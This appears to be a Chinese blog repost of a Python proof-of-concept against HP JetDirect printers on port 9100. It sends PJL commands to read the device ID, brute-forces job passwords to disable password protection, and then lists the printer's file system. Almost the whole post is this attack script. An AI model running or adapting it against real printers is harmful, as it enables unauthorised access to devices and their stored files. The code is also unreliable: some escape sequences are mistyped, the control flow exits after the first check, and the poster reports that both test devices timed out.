hp_jetdirect 9100漏洞检测 - crac

hp_jetdirect 9100漏洞检测

#-*-coding=utf8-*-
import socket
import sys
def main():
    if len(sys.argv)<=1:
        print(\'Parameters error\')
        return
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((sys.argv[1],9100))
    s.settimeout(None)
    # 发送读取设备ID的PJL指令
    s.send((\'\033%-12345X@PJL INFO ID\r\n\033%-12345X\r\n\').encode(\'UTF-8\'))
    print(s.recv(1024).decode(\'UTF-8\'))
    for i in range(1, 65536):
        buf = b\'\'
        # 发送重置密码的PJL指令
        s.send((\'33%-12345X@PJL \r\n@PJL JOB PASSWORD=\' + str(i) + \'\r\n@PJL DEFAULT PASSWORD=0 \r\n@PJL EOJ\r\n33%-12345X\r\n\').encode(\'UTF-8\'))
        if i%30 == 0:
            # 发送查询密码保护状态的PJL指令
            s.send((\'\033%-12345X@PJL \r\n@PJL DINQUIRE PASSWORD\r\n\033%-12345X\r\n\').encode(\'UTF-8\'))
            while True:
                buf+=s.recv(1)
                print(buf)
                try:
                    buf.index(b\'\r\n\x0c\')
                    try:
                        # 密码保护被禁用
                        buf.index(b\'DISABLED\')
                        print(\'password disabled ok!\')
                        # 发送查询目录的PJL指令
                        s.send((\'\033%-12345X@PJL \r\n@PJL FSDIRLIST NAME = "0:\\" ENTRY=1COUNT=99\r\n\033%-12345X\r\n\').encode(\'UTF-8\'))
                        buf = b\'\'
                        while True:
                            buf+= s.recv(1)
                            print(buf)
                            try:
                                buf.index(b\'\r\n\x0c\')
                                try:
                                # 查询成功
                                    buf.index(b\'ENTRY\')
                                    print(\'PoC OK!\')
                                    return
                                except ValueError:
                                    print(\'PoC NO!\')
                                    return
                            except ValueError:
                                continue
                    except ValueError:
                        print(\'password disabled faild!\')
                    finally:
                        s.close()
                        return
                except ValueError:
                    continue
    s.close()
if __name__ == \'__main__\':
    main()

来源:http://www.secbox.cn/hacker/client/6450.html  代码太乱 仅把代码整理了下..找了2台测试，都显示socket .timed out